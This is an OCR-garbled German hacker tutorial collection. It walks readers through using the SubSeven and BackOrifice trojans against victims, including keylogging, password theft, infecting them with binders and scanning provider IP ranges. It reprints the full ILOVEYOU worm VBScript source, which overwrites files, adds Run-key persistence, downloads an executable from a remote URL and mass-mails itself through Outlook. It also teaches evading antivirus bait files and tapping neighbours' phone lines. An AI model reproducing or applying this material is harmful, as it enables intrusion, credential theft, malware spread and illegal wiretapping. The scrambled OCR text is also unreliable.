auf "pcinfo" dricken. Nun erhaltet ihr ein Fenster nmit Feldern, wo Uberal
n/a steht. I hr drickt nun einfach auf "retrieve" und schon erhaltet ihr die
pci nfo des vics. Diese kénnt ihr jetzt abspeichern oder |&schen. Ich
speicher mir alle ab und samm e sie, das ist far mich wie ein

Bri ef mar kenal bum Umso nehr i hr habt, unso besser seid ihr. Wenn ihr z.B
mt Freunden umdie Wette hackt, dann ist das inmer sehr nitzlich. Bei
"home info" kénnt ihr den Standort des Vics rausbekonmmen, dass funktioniert
aber nur bei wenigen, da sie ihre Adresse nicht imPC gespeichert haben.
Das Feld "server options" dient dazu, den Server neu zu konfigurieren, was
aber nur geht, wenn er nicht geschitzt ist. Ich denke ihr versteht die

ei nezl nen Funkti onen, wenn i hr die Beschriftung der Kastchen | est. Auch das
Kastchen "ip notify" ist sehr wichtig, hier kénnt ihr namich einstellen,
dass ihr die Notification erhaltet, wenn der Vic online geht. We das geht
versteht ihr auch ohne nei ne Erkl drung. Bei "keys/nessages" gibt es 2

wi chtige Sachen. Zum ei nen kénnt ihr unter "keyboard" den Keyl ogger
einstellen. Damt koénnt ihr sehen, was der Vic alles auf seine Tastatur
schrei bt. Zum anderen konnt ihr, wenn ihr auf "chat" drickt mt dem Vic
oder mt anderen Cients chatten. Verwendet dabei aber nie euren richtigen
Nanmen. Bei "advanced" ist die w chtigste Funktion "password". Dort kdnnt

i hr namich die Passwirter des Vics rausfinden, indemihr einfach "get
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chached passwords" oder die anderen Kastchen drickt. Nun bekomt ihr ein
Fenster, indemoft ziemich viel durcheinander steht. Aber nach einer Wile
si ent man, wel cher Benutzername und wel ches Passwort zusamengehdren und zu
wel chem Di enst sie gehoren. Uber "find files" kénnt ihr, wie soll es anders
sein, Dateien auf dem PC des Vics suchen und wenn ihr bei "ftp/http" eine
Adresse eingebt, wird der Vic automati sch zu di eser Adresse geleitet. Unter
"m scel | aneous” ist eine der wi chtigsten Funkti onen des ganzen Progranmes,
nam ich der "file manager”. Mt ihmkonnt ihr auf die Dateien des Vics
zugreifen, sie runterladen, verschieben oder |6schen. Allerdings darf nman
al s richtiger Hacker keine Dateien | 6schen, da man sonst ein Chracker ist.
Zur Ausnahnme gehéren Pornos aller Art. Diese sollten sofort gel 6scht
werden. Bei den ndchsten bei den Kastchen "fun manager" und "extra fun" geht
es natiurlich umfun. unter "desktop/webcant kénnt ihr den Bildschirm des

Vi cs sehen und unter "print" konnt ihr dem Vic irgendei nen Text ausdrucken.
AuBRer dem konnt ihr dem Vic das CD- ROM Laufwerk auf und zu machen, den

Moni tor aus und anschal ten, die Maustasten vertauschen und vieles nmehr. W
das ist konnt ihr sehr leicht selber finden, denn ein bisschen Englisch
muss man kdnnen, sonst kann nan gl ei ch wi eder aufhdren. Unter "loca
options" konnt ihr SubSeven konfigurieren. Ihr kénnt unter "quality"
einstellen, wie gut die Qualitat sein soll, wenn ihr den Bildschirmdes
anderen Ubernehnt. Bei "local folder" kénnt ihr einen O dner auswdhl en, der
aut omati sch bei m spei chern von Passwortdateien etc. aufgerufen wird. Den
Rest konnt i hr wi eder sel ber probieren, das ist nicht mehr schwer.

BackOrifi ce:

BackOrifice (kurz: BO ist ein Programm mit demman in frende Conputer
Uber das Internet eindringen kann und dort Daten verandern, |&schen und
sogar erzeugen kann. Damt man di es tun kann, nuf3 der anzugreifende
Conmput er aber erst nit dem BO Server infiziert worden sein. Dieses Programm
(boserve. exe) offnet auf dem Rechner, nachdemes installiert worden ist,
bei jeder Internetverbindung ei nen Port (nornal erwei se 31337) lber den dann
der Angreifer mt BackOrifice eindringen kann. Um den Server auf ei nem
Rechner zu installieren, nmuld die Datei boserve.exe nur einmal ausgefihrt
werden. Sie kopiert sich automati sch in das W ndows- System Verzeichnis (als
.exe) und tragt sich in die Registry ein

(HKEY_LOCAL_MACHI NE\ Sof t war e\ M cr osof t \ W ndows\ Cur r ent Ver si on\ Run oder
HKEY LOCAL_MACHI NE\ Sof t war e\ M cr osof t \ W ndows\ Cur r ent Ver si on\ RunSer vi ces)
damt es bei jedem Systenstart automatisch gestartet wird. Der Anwender
berer kt di eses nicht und kann es auch nicht mt Strg + Alt + Entf beenden
Es kann nur mit Programmen wie z.B. WnTop gesehen werden. Um den Anwender
dazu zu bringen, boserve.exe zu starten gibt es viele Miglichkeiten. D e
einfachste ist, ein echtes, fur den Anwender nitzliches, Programm mt
boserve. exe zu verknupfen, sodall wenn der Anwender die Datei ausfihrt,
boserve. exe ausgefuhrt wird und gleichzeitig auch das 'richtige' Progranmm
Sol che Dateien |assen sich hervorragend nmit Sil kRope erzeugen

I st der Anwender infiziert, nu man di e nachste Hirde Uberw nden: Man nuf3
seine | P-Adresse, die bei jeder neuen Internetverbi ndung wechselt,

her auskri egen. Am ei nfachsten ist das, wenn nman nmit dem Anzugreifenden

bef reundet ist und sich nit i hmverabredet um bei spi el sweise ein Internet-
Spi el zu spielen, wobei nman ja sowi eso die |P benétigt (man findet seine
ei gene | P- Adresse heraus, indem man w ni pcfg starten). Eine andere
Mbgl i chkeit ist, einen bestimten Bereich des Internets nach infizierten
Conput ern zu durchsuchen. Dazu benutzt man am Besten das Tool Ping, das in
BOintegriert ist. Bei Host List nmuR man eine Datei eingeben, in der die

| P-Berei che, in denen BO nach Opfern suchen soll. Am Besten erstellen Sie
di ese Datei in demgleichen Verzeichnis in demauch BOinstalliert

ist. In die Datei schreiben Sie nun die |P-Bereiche, die BO durchsuchen
soll. Unden |IP-Bereich ihres Internet-Providers (funktioniert besonders
gut bei kleinen | okalen Providern) zu durchsuchen fihren Sie w nipcfg aus
wahrend Sie online
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sind. Die | P-Adresse die dort steht, schreiben Sie in die Datei. L&schen
Sie aber die Stellen nach dem |l etzten Punkt! Sie kénnen auch die alle

Stell en nach dem vorl etzten Punkt |6schen, allerdings dauert das Scannen
dann sehr |ange (BO nuf3 dann uUber 65000 Adressen scannen). Die Datei sollte
ungef ahr so aussehen: Speichern Sie die Datei und klicken Sie in BO auf

Pi ng und geben Sie bei Host List den Dateinanen der Datei ein, die Sie
gerade erstellt haben. Klicken Sie dann auf OK. BO scannt nun di e Bereiche.
Wenn BO einen infizierten Conputer gefunden hat, erscheint folgende

Mel dung:

—————————— Packet received fromhost 127.0.0.1 port 31337 ---------

I PONG 1. 20! USER!

------------------------- End of Data -------------------

Wenn Sie dann in diesen Conputer eindringen wollen dann klicken Sie auf
Stop Pings. Dann geben Sie bei Target Host die entsprechende | P-Numer ein.
Nun koénnen Sie bei Command di e ei nzel nen Befehl e auswdhl en. Am Besten
klicken Sie erst nochmal auf Ping Host und dann auf Send um zu sehen, ob
der Conputer auch noch online ist. Das war's auch schon. Bald gibt es eine
Anl eitung, wie Sie den Server konfigurieren kénnen.

Rundl | 32 Befehl e bei Viren:

W ndowspr ograme, die man nie sieht

1. Rundl | 32. exe

Ver zei chni s: W ndowsordner Das ist ein Progranm dass nman braucht um

W ndows zu beenden, die Maus zu sperren,... We wird es verwendet? Man gi bt

ei nfach den DOS-Befehl und die richtigem Paraneter ein, zum Bei spiel:

C.\wi ndows\ rundl | 32. exe user, exit Wndows- W ndows beenden

C.\wi ndows\ rundl | 32. exe user, exit Wndowsexec- W ndows neustarten

C.\wi ndows\ rundl | 32. exe Mouse, Di sabl e- kei ne Maus

C.\wi ndows\ rundl | 32. exe Keyboard, Di sabl e- kei ne Tastat ur

C.\wi ndows\ rundl | 32. exe user, wnet connect di al og- Net z| auf wer ke
ver bi nden

C.\wi ndows\rundl | 32. exe user, wnet di sconnect di al og- Net zI auf wer ke
trennen

C.\wi ndows\ rundl | 32. exe shell32.dl|, Control RunDLL Sysdmcpl- ruft
Syst enst euer ung

C.\wi ndows\ rundl | 32. exe AppW z. Cpl , NewLi nkHere %- neue Verknipung
imOdner % der
Rest wi rd abgefragt

C.\wi ndows\ rundl | 32. exe desk.cpl,Install ScreenSaver %- ruft ein Dial ogfeld
zum wechsel n des Bil dschirnschoner auf

C.\wi ndows\ rundl | 32. exe rundl | 32 di skcopy, Di skCopyRunDI | - zum Di sketten
kopi eren C:\wi ndows\rundl | 32. exe setupapi, | nstall H nfSection
Defaultlinstall 132 install.inf - Installiert I nf - Dat ei en

C:\wi ndows\rundl |1 32. exe rundl | rnaui.dll,RnaDial T-Online- startet-DFU
ver bi ndung

C.\wi ndows\ rundl | 32. exe shel | 32.dl |, SHExi t WndowsEx n- n kann fol gendes

sein:

0 - LOGOFF

1 - SHUTDOMWN

2 - REBOOT

4 - FORCE

8 - POWNERCFF
C.\wi ndows\ rundl | 32. exe user, repai ntscreen- repaint screen
C.\wi ndows\ rundl | 32. exe user, di sabl eoem ayer- kein User

Interface

Dies sind allerdings nur ein paar Beispiele und es gi bt noch viele weitere
Mgl i chkei t en.
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2. Ddhel p. exe

Ver zei chni s: W ndows- Syst enordner Fuer jeden, der sich gefragt hat, was
di eses Programm auf sei nem Conputer macht:

Es ist ein DirectX Konponent, aber dies braucht man nicht zu w ssen

um zu progranm eren

3. Fontreg. exe
Ver zei chni s: W ndows- Systenordner Es ist ein Schriftartkonponent.

Troj aner fur total e Anféanger:

1.1ps

Das Internet Funktioniert ja bekanntlich tber TCP/IP (Transm ssion Contro
Protocol /I nternet Protocol). Kurz erklart: TCP/IP steuert

Dat entibert ragungen von ei nem Conput er zum anderen i ndemes die Daten in | P-
Paket e verpackt und dann verschickt. Nun besitzt jeder Conputer der ans

I net angeschl ossen ist eine IP. Dies ist eine Nummer die eine art Adresse
darstellt. TCP/IP verschickt die |IP-Pakete nun an die IP an die das ganze
kommen soll. Dies ernmdglicht ziel genaue und schnell e Datentbertragung.

2.Zu Trojanern

Troj aner koénnen sich wenn man die | P des Opfers kennt in seinen Conputer
ei nl oggen. Dazu nuss der Server das jeweiligen auf dem Gegnerischen PC
installiert sein. Dann ist auf dem Conputer ein neuer Port offen, in den
man sich dann mit dem Troj aner Cient einklinken kann. Wenn man den
Trojaner Client startet tragt man die I P des Opfers ein und gi bt den Port
des Trojaners an. Wenn der Conputer des Cient und der des Servers Online
sind klickt man auf connent. Nun niisste man rein theoretisch verbunden
sein. Jetzt kann nan dem Server vom Client aus befehle erteilen die er dann
auf dem Zi el PC ausfihrt. Man kann dann da so nanches anstellen um denn
Benut zer des Infizierten PCs zu argern. Aber ein Hacker macht nichts
kaputt.

3.Los geht'’s

Alles Klar, jetzt haben wir es theoretisch, dann nun die Praxis. Achtung:

I hr misst die ganze Zeit Online sein. Wnn ihr einen Bestinmten PC
infiziert hab und die I P kennst, isst es ja ganz einfach. Ihr gebt die IP
an und den Richtigen Port, auf connect gedrickt und Taadaa... conectet.
Wenn i hr aber jetzt kein bestimmtes Ziel habt, haben viele Trojaner
integrierte I P-Scanner. |hr sucht ihn bei eurem Trojaner (am besten Sub7
2.1 Gold) diesen Scanner. Nun werdet ihr aufgefordert zwei |Ps anzugeben
Dies sind die | P bereiche von Providern in denen nach der |IP von nmt dem
Server infizierten PCs gescannt werden soll. Ihr nisst also die IP bereiche
ei nes Providers kennen der von T-online ist 199.159.1.1-199.159. 158. 255
Cebt jetzt ein Delay (Verzdgerung)an 4 misste es tun. Jetzt drickt Start.
Nun scannt der Trojaner. Das kann jetzt Lange dauern. Surft derweil ein

bi sschen auf neiner Seite rum Nach einer Zeit nissten jetzt ein Paar |Ps
Auf gel i stet sein. Versucht nun euch wi e oben beschriebe zu verbinden, indem
ihr die IP in das obere Feld eingebt und connect drickt. Wenn jetzt in dann
ganz unten imdient Fenster ,connecting to...™ steht und das etwas | anger

i st der User nicht Online. Wenn ein Fenster er scheint (nur bei Sub7) dass
euch nach ei nem Passwort fragt, ist der Server auf dem PC vom absender
Passwort geschitzt worden. Wenn du eine I P erw schst dessen Benutzer

online ist und deren Server nicht Passwort gesichert ist, misstest du

ver bunden sein. Das nerkst du Daran, das da wo sonst connecting to steht
Jet zt connectet zu lesen ist. Wenn das so ist Herzlichen d ickwunsch
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Sour cecode des | |ove you Virus:

the source starts here: rembarok -lovel etter(vbe)

rem by: spyder / ispyder@mil.com/ @BERAMVERSOf t

G oup / Manil a, Philippines

On Error Resunme Next
dimfso,dirsystemdirwin,dirtenp,eq,ctr,file, vbscopy, dow

eqg=""

ctr=0

Set fso = Create(bject("Scripting.FileSystenbject")

set file = fso.OpenTextFil e(Wbcript. Scri pt Ful | nane, 1)
vbscopy=fil e. ReadAl |

mai n()

sub main()

On Error Resunme Next

di mwscr,rr

set wscr=CreateObject("W5cript.Shell")

rr=wscr. RegRead( " HKEY_CURRENT USER\ Sof t war e\ M cr osof t\ Wndows Scri pti ng
Host\ Set ti ngs\ Ti meout ")

if (rr>=1) then

wscr. RegWite "HKEY CURRENT_USER\ Sof t ware\ M crosof t\ Wndows Scripting
Host\ Set ti ngs\ Ti neout", 0, " REG_DWORD"

end if

Set dirwin = fso. Get Speci al Fol der (0)

Set dirsystem = fso. Get Speci al Fol der (1)

Set dirtenp = fso. CGet Speci al Fol der (2)

Set ¢ = fso.GetFile(Wscript. ScriptFul | Nane)

c. Copy(dirsyst em&"\ MsKer nel 32. vhs")

c. Copy(di rwi n&'\ Wn32DLL. vhs")

c. Copy(dirsystem&"\ LOVE- LETTER- FOR- YOU. TXT. vbs")

regruns()

htm ()

spr eadt oenai | ()

listadriv()

end sub

sub regruns()

On Error Resunme Next

Di m num downr ead

regcreate

"HKEY_LOCAL_ MACHI NE\ Sof t war e\ M cr osof t \ W ndows\ Cur r ent Ver si on\ Run\ MSKer nel 3
2

", dirsystem&"\ MsKer nel 32. vbs"

regcreate

"HKEY_LOCAL_MACHI NE\ Sof t war e\ M cr osof t \ W ndows\ Cur r ent Ver si on\ RunSer vi ces\ W
i

n32DLL", di rwi n&"'\ Wn32DLL. vbs"

downr ead=""

downr ead=r egget (" HKEY_CURRENT USER\ Sof t war e\ M cr osof t\ | nt er net
Expl or er\ Downl oad Di rectory")

i f (downread="") then

downread="c:\"

end if

if (fileexist(dirsystem&'\WnFAT32. exe")=1) then

Random ze

num=Int((4 * Rid) + 1)

if num= 1 then

regcreate "HKCW Software\ M crosoft\lnternet Explorer\Min\Start

J
w6587345gvsdf 7679nj bvYT/ W N- BUGSFI X. exe"

el seif num= 2 then
regcreate "HKCW Software\ M crosoft\lnternet Explorer\Min\Start

81


http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPn

e
546786324hj k4j nHHGovbnKLJKj hkqj 4w W N- BUGSFI X. exe"

el seif num= 3 then

regcreate "HKCW Software\ M crosoft\lnternet Explorer\Min\Start

P O A L o A s L o T B D A Sy DT o TR
POhf gER67b3Vbvg/ W N- BUGSFI X. exe"

el seif num= 4 then

regcreate "HKCW Software\ M crosoft\lnternet Explorer\Min\Start

YUggwer asdj hPhj asf dgl kNBhbgwebnznxcbvnmadshf gqw237461234i uy7t hj g/ W N-
BUGSFI X

. exe"

end if

end if

if (fileexist(downread&"\W N-BUGSFI X. exe")=0) then
regcreate
"HKEY_LOCAL_MACHI NE\ Sof t war e\ M cr osof t \ W ndows\ Cur r ent Ver si on\ Run\ W N-
BUGSFI

X", downr ead&"\ W N- BUGSFI X. exe"

regcreate "HKEY_CURRENT_USER\ Sof t war e\ M cr osoft\ I nt er net
Expl orer\ Mai n\ St art

Page", "about : bl ank"

end if

end sub

sub listadriv

On Error Resunme Next

Dimd,dc, s

Set dc = fso.Drives

For Each d in dc

If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path&\")

end if

Next

listadriv = s

end sub

sub infectfil es(folderspec)

On Error Resunme Next
dimf,f1,fc, ext, ap, m rcfnane, s, bnane, np3
set f = fso. GetFol der (fol derspec)

set fc =f.Files

for each f1 in fc

ext =f so. Get Ext ensi onNane(f 1. pat h)

ext =l case(ext)

s=l case(f 1. nane)

if (ext="vbs") or (ext="vbe") then

set ap=fso. OpenTextFil e(fl.path, 2,true)
ap.wite vbscopy

ap. cl ose

el seif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or
(ext="sct")

or (ext="hta") then

set ap=fso. OpenTextFil e(fl.path,2,true)
ap.wite vbscopy

ap. cl ose

bnane=f so. Get BaseNane(f 1. pat h)

set cop=fso. GetFil e(f1l.path)

cop. copy(fol derspec&"'\" &nane&". vbs")
fso. Del eteFil e(fl. path)

el seif(ext="jpg") or (ext="jpeg") then
set ap=fso. OpenTextFil e(fl.path, 2,true)
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ap.wite vbscopy

ap. cl ose

set cop=fso. GetFile(f1l.path)

cop. copy(f1l. path&".vbhs")

fso. Del eteFil e(fl. path)

el seif(ext="np3") or (ext="np2") then

set np3=fso. CreateTextFil e(f1l. path&".vbs")

nmp3. wite vbscopy

nmp3. cl ose

set att=fso.GetFile(fl. path)
att.attributes=att.attributes+2

end if

i f (eq<>fol derspec) then

if (s="mrc32.exe") or (s="mink32.exe") or (s="mrc.ini") or
(s="script.ini") or (s="mrc.hlp") then

set scriptini=fso.CreateTextFil e(fol derspec& \script.ini")
scriptini.WiteLine "[script]”

scriptini.WiteLine ";mMRC Script"

scriptini.WiteLine "; Please dont edit this script... M RC wll

if MRC will'
scriptini.WitelLine
correctly. thanks"
scriptini.WitelLine ";
scriptini.WitelLine ";Khal ed Mardam Bey"
scriptini.WiteLine ";Http: TV i 1€, Corl,
scriptini.WitelLine ";

scriptini.WiteLine "nO=on 1:JO N: #: {"
scriptini.WiteLine "nl=/if ( $nick == $me ) { halt }"
scriptini.WiteLine "n2=/.dcc send $nick

" &di rsyst em&"\ LOVE- LETTER- FOR- YOU. HTM'
scriptini.WitelLine "n3=}"

scriptini.close

eq=f ol der spec

" corrupt... WNDOWN5s will affect and will

end if
end if
next
end sub

sub fol derlist(fol derspec)

On Error Resunme Next

dimf,fl,sf

set f = fso. GetFol der (fol derspec)
set sf = f. SubFol ders

for each f1 in sf

infectfil es(fl. path)
folderlist(fl.path)

next

end sub

sub regcreate(regkey, regval ue)

Set regedit = CreateObject("Wscript. Shell™)
regedit. RegWite regkey, regval ue
end sub

function regget (val ue)

Set regedit = CreateObject("Wscript. Shell")
regget =r egedi t . RegRead( val ue)

end function

function fileexist(filespec)

On Error Resunme Next

di m nsg

if (fso.FileExists(filespec)) Then
nsg = 0

el se

mnsg = 1

end if

not

corrupt,

run


http://www.mirc.com"

fileexist = nsg

end function

function fol derexi st (fol derspec)

On Error Resunme Next

di m nsg

if (fso. GetFol der Exi sts(fol derspec)) then

nsg = 0

el se

nsg = 1

end if

fileexist = nsg

end function

sub spreadt oemail ()

On Error Resunme Next

dimx,a,ctrlists,ctrentries, mal ead, b, regedi t, regv, regad

set regedit=Createlbject("Wscript.Shell")

set out=Wscri pt. Creat eCbj ect (" CQutl ook. Application")

set mapi =out . Get NanmeSpace(" MAPI ")

for ctrlists=1 to mapi.AddressLi sts. Count

set a=napi . AddressLists(ctrlists)

x=1

regv=regedit. RegRead( " HKEY_CURRENT_USER\ Sof t war e\ M cr osof t \ WAB\ " &a)
if (regv="") then

regv=l

end if

if (int(a.AddressEntries.Count)>int(regv)) then

for ctrentries=1 to a. AddressEntries. Count

mal ead=a. Addr essEnt ri es(x)

regad=""

regad=r egedi t . RegRead( " HKEY_CURRENT_USER\ Sof t war e\ M cr osof t \ WAB\ " &ral ead)
if (regad="") then

set mal e=out. Createlten(0)

mal e. Reci pi ent s. Add( nal ead)

mal e. Subj ect = "1 LOVEYQU'

mal e. Body = vbcerl f&"kindly check the attached LOVELETTER conming fromne."
mal e. Att achnent s. Add(di r syst en&"\ LOVE- LETTER- FOR- YOU. TXT. vhs")
mal e. Send

regedit. RegWite

"HKEY_CURRENT_USER\ Sof t war e\ M cr osof t \ WAB\ " &ral ead, 1, " REG_DWORD'

end if

X=x+1

next

regedit. RegWite

"HKEY_CURRENT_USER\ Sof t war e\ M cr osof t \ WAB\ " &a, a. Addr essEntri es. Count
el se

regedit. RegWite

"HKEY_CURRENT _USER\ Sof t war e\ M crosof t\ WAB\ " &a, a. Addr essEntri es. Count
end if

next

Set out =Not hi ng

Set napi =Not hi ng

end sub

sub htni

On Error Resunme Next
dimlines,n,dtal,dta2,dt1,dt2,dt3,dt4,11,dt5,dt6

dt al="LOVELETTER - HTM.<?-?TlI TLE> NAME=@ @Zener at or @ @ CONTENT=@ @AROK VBS
- LOVELETTER@ @" &vbcrlf& _

" @RAMVERSoft Group ?-? Manila, Philippines ?-? March 2000@ @" &bcerl f&
" good... @ @" &bcrlf& _

"' <?- ?HEAD> ONMOUSEQUT=@ @ ndow. nanme=#- #mai n#- #; wi ndow. open( #- #LOVE- LETTER-
FOR- YOU. HTM#

-# #-#main#-#) @ @ " &vberl & _

84



" ONKEYDOMN=@ @\ ndow. nanme=#- #mai n#- #; wi ndow. open( #- #LOVE- LETTER- FOR-
YOU. HTM#
- #, #- #mai n#- #) @ @ BGPROPERTI ES=@ @ i xed@ @ BGCOLOR=@ @FF9933@ @" &bcrlf &

" This HTM. file need ActiveX Control <?-?p> To Enable to read
this HTM. file

- Please press #-#YES#-# button to Enabl e

Acti veX<?-?p>"&vberlf& _

" <?- ?CENTER> BGCOLOR=@ @el | ow@® @---------- A LR Z------- -
- <?- ?MARQUEE>

"&berl f& _

" <?- ?BODY><?- ?HTML>" &vbcr | f & _

""&vbecrlf& _

""&vberlf& _

" <?- ?SCRI PT>"

dt 1=repl ace(dt al, chr (35) &hr (45) &hr (35),""'")

dt 1=repl ace(dt 1, chr (64) &hr (45) &hr(64),"""")

dt 4=repl ace(dt1, chr(63) &hr (45)&chr(63),"/")

dt 5=repl ace(dt 4, chr(94) &hr (45) &hr (94),"\")

dt 2=r epl ace(dt a2, chr (35) &hr (45) &hr (35),""'")

dt 2=repl ace(dt 2, chr (64) &hr (45) &hr (64),"""")

dt 3=repl ace(dt 2, chr (63) &hr (45) &hr (63),"/")

dt 6=repl ace(dt 3, chr (94) &hr (45) &hr (94),"\")

set fso=CreateCbject("Scripting.FileSystenthject")

set c=fso. QpenText Fi |l e(WBcri pt. Scri pt Ful | Nane, 1)
lines=Split(c.ReadAll,vbcrlf)

| 1=ubound( | i nes)

for n=0 to ubound(lines)
I'ines(n)=replace(lines(n),""",chr(91)+chr(45)+chr(91))
I'ines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
Iines(n)=replace(lines(n),"\", chr(37)+chr(45)+chr(37))
if (I11=n) then

i nes(n)=chr(34)+lines(n)+chr(34)

el se

I ines(n)=chr(34)+lines(n)+chr(34)&" &bcrlf& "

end if

next

set b=fso.CreateTextFil e(dirsystem"\LOVE- LETTER- FOR- YOU. HTM')
b. cl ose

set d=fso. OpenText Fil e(di rsystem+"\ LOVE- LETTER- FOR- YOU. HTM', 2)
dwite dt5

d.-wite join(lines,vbcrlf)

d.wite vberlf

dwite dt6

d. cl ose

end sub
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We man seine Viren Anti-Bait-fahig nmacht:

Di esmal ein etwas kirzeres und nmehr theoretisches Tutorial,

da ich im Mnent recht viel zu tun hab.. :( Ok worumgeht es hier in diesem Tutor ?
UnBait Files.. Bait Files sind Kéder, nit denen die Anti-Virus Programmi erer einen
Virus testen. Sie haben hunderte di eser Dateien auf einem Rechner und | assen auf

di esem den neu gefundenen Virus frei. Dann wird uberprift, wel che Dateitypen
infiziert sind, und ob der Virus auch

unter einem anderen OS |aufféahig ist (Dos/Wn31/Wn95/WnNT..) Anhand der Masse an
infizierten Dateien, kénnen sie nun schon einiges feststellen.. Art des Virus

(Com Exe, PE..), etwas Uber die Verbreitungstechnik des Virus, die Lange umdie sich
eine infizierte Datei vergroBRert, ob der Virus

pol ymor ph oder nur verschl isselt ist..usw Auch werden dann di ese Datei en verwendet,
um dann, wenn ein Suchstring fir den Virus gefunden ist den Virenscanner zu teste,
da auch alle infizierten Dateien entdeckt und der Virus in ihnen entfernt werden
soll. Wenn der Scanner nicht alle

findet war es ja auch unsinnig, da der PC unter nornal en Unst&nden nach einer Wche
wi eder konplett infiziert wiare. Was koénnen w r dagegen machen ? ...Cute Frage, ich
wer de versuchen, sie in diesem Tutor zu beantworten. Friher versuchte man

Ei genschaften in den Virus zu progranmi eren, die verhindern, das er allzuviele
Datei en auf einmal infiziert. Dies w ederspricht aber dem das ein Virus sich

nmigl i chst schnell verbreiten soll, damit er notglichst |ange irgendwo Uberl ebt,

bevor die AV s einen Scanner entw ckelt haben. Wnn ein Virus erst 1-2 mal umdie
Welt gegangen ist wird er imrer w eder irgendwo auftreten, da imrer irgendwo
verseuchte Dateien rumschwirren... (hab das |etztens sel ber erfahren niissen *g*)
Dann kam man dahinter, das Bait Datei en gew sse Ei genschaften aufweisen, die sie
von normal en Progranmen unterscheidet. Diese Eigenschaften Uberprift man vor der
Infection und | asst dann die Datei aus, wenn sie wie eine Bait-Datei erscheit. D e
erste, und am si npel sten zu Uber prif ende Ei genschaft

ist die G6Re. Da hunderte von diesen Bait Files auf einen Rechner passen niissen,
sind sie relativ klein. Hier eine Liste, ab wel cher Datei grdBe nman Dateien
infizieren sollte, umBait Dateien auszuschlielen, aber normal e Programe nicht
auszul assen, . .

CoM -- 10 KB
Dos- EXE -- 20 KB
PE-EXE -- 50 KB

Dies sind natirlich nur ungefahre Richtwerte, schaut einfach nal bei euch auf dem
Rechner nach, wie grol3 die kleinste Datei der Sorte so ist. Eine weitere

Ei genschaft ist das Erstellungsdatum Bait Files werden normal erweise nmit einem

Bai t - Generator kurz vor dem Testen erstellt. Al so versucht man Dateien zu

ver mei den, deren Erstellungsdatum nur 2-3 Tage zurlck liegt. Di e Dateinanen der
Baits sind auch interessant, oftmals enthalten sie Ziffern, was nornmal erwei se ni cht
so haufig ist. Einfach Uberprifen, ob eine Zahl im Dateinamen vorkomm, und wenn ja
die Datei nicht infizieren. Da die Kbder mt Generatoren erstellt werden, tragen
sie

oftmal s fortl auf ende Dat ei nanen. aaaa.com aaab.com aaac.com...

Wenn man den | etzten gefundenen Datei nanen speichert und dann die letzte Stelle
erhoht (Ubertrag auf andere Stellen nicht vergessen) und der neue Dateiname mit dem
ermttelten identisch ist, sollte nman die Datei besser auch nicht infizieren. Dos-
EXE Koder dat ei en haben oftrmal s kei nen Stack, was bei nornmal en Programen so gut we
ni emal s vorkommt. Deshal b ei nfach nal checken, ob der Stack vorhanden ist, wenn
nicht.. ok ihr wisst was dann zu tun ist *g* Die |etzte und aufwendigste

Migl i chkeit ist die Enulation,

bzw ei ne Uberpriifung dessen, was die Bait-Datei macht. Normal erweise ist der groRte
Teil der Daten in einer Bait Datei Daten und nicht Code, dass bedeutet, das sie
recht schnell das Progranm beenden. Al so sucht man den Anfangspunkt des Codes, bei
COM Dat ei en am Datei start und bei EXE-Dateien steht er im Header. Und Uberpriuft die
ersten paar Bytes auf Sachen wie ein 'int 20h', nov ah, 4ch int 21h

Dies sind die Befehle, nmt denen die neisten Programre beendet

werden. Sind diese dort am Start vorhanden, wird das Progranm

nur ein paar fake-Operationen (nop *g*) ausfihren und dann

beenden. Ok, das wars von mr zum Thenma Anti-Bait coding..
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Phreaking

Genaue Beschrei bung wi e man Tel ephonl ei tungen anzapft:

Anzapfen von Tel efonl ei tungen in Mehrfam|ienhausern

1. Gundwi ssen

Jede Tel efonl eitung besteht grundséatzlich aus zwei Leitungen

(ja, auch | SDN. dazu spater nehr) auch wenn di e TAE- Dosen der

Tel ekom furcht bar konpliziert aussehen. Uber diesen zwei Leitungen

i egt eine Spannung von 28 Volt. Daran kann nan erkennen wel che Dréhte
die relevanten sind. Einfach mit einem Voltneter ausmessen.

2. Angri f f spunkt

Das Anzapfen funktioniert Uber einen Kasten im Keller des Hauses. Dieser

si eht von Haus zu Haus verschi eden aus. Manchnal ist er in die Wand ein-
gemauert in anderen Fallen ist er einfach an dieser befestigt. Auch die

G oRe variiert stark. Manchmal ist er an einem Post- oder Tel ekom ogo zu
erkennen, aber nicht imrer. ImZweifelsfall alle Kasten imKeller 6ffnen
(nur nicht erw schen |lassen) und 'reingucken ob es der richtige ist. Innen
si eht der Kasten ungeféahr so aus Drahte (nei stens
braun und schwar z)

| |
Schr aube \/

I
\ - -
B R bbb
A
RN
[ V] B R
A B e il
RS RNAN
(B

setzt sich so fort (fir jeden Bewohner des Hauses ein Paar
Schrauben) Jedes di eser Schraubenpaare ist ein Tel efonanschl uss. Wenn nan
will kann man bereits jetzt tel efonieren/abhéren i ndem man den St ecker von
ei nem nornmal en Tel ef on abkneift (ein Tel efon kostet etwa 20-30DM wenn man
ni cht gerade di e super-duper fax/digital er anrufbeantworter |SDN- Maschi ne
nint) und die zwei "heissen" Drahte des Tel efons (i m Zweifel sfal
ausprobi eren) parallel zu den vorhandenen Drahten ei nes Anschl uRes
befestigt (die vorhandenen Drahte | &kt nman besser dran weil die zum
ei gentlichen Besitzer des AnschluRes fihren und di eser wahrscheinlich
nm Btraui sch wird wenn sein Telefon plotzlich tot ist). Da man aber im
Keller ziemich leicht erwischt werden kann und ein offener Kasten mt
ei ngest dpsel ten Tel efon wohl ziemich schwer zu erklaren ist nbchten
besti mt viele das Benutzen des Anschl usses in der eigenen (oder Whnung
des Freundes/ Verwandt en) durchf ihren. Dazu braucht man ein Kabel paar das in
di e gewinschte Whnung fihrt. d dck hat derjenige, demder Vermeter mehr
al s nur ein Kabel paar in die eigene Wohnung gegoénnt hat. Dieser kann
ei nfach das zusatzliche Paar verwenden. Meistens ist man aber in der
ungl tckl i chen Position das nur ein Kabel paar existiert und ein externes
Kabel vom Kel | er durchs Treppenhaus in di e ei gene Wohnung nur schwer zu
erkl éaren ist. Die Lésung des Problens ist die Benutzung des Kabel paars des
ei genen Anschl usses. Dazu muf3 nan natirlich erst einmal w ssen wel cher
Anschl u der eigene ist. Dazu geht man in seine ei gene Wbhnung und schl i ef3t
die zwei Drahte kurz. Dann testet nman imKeller mt einem Durgangs- prifer
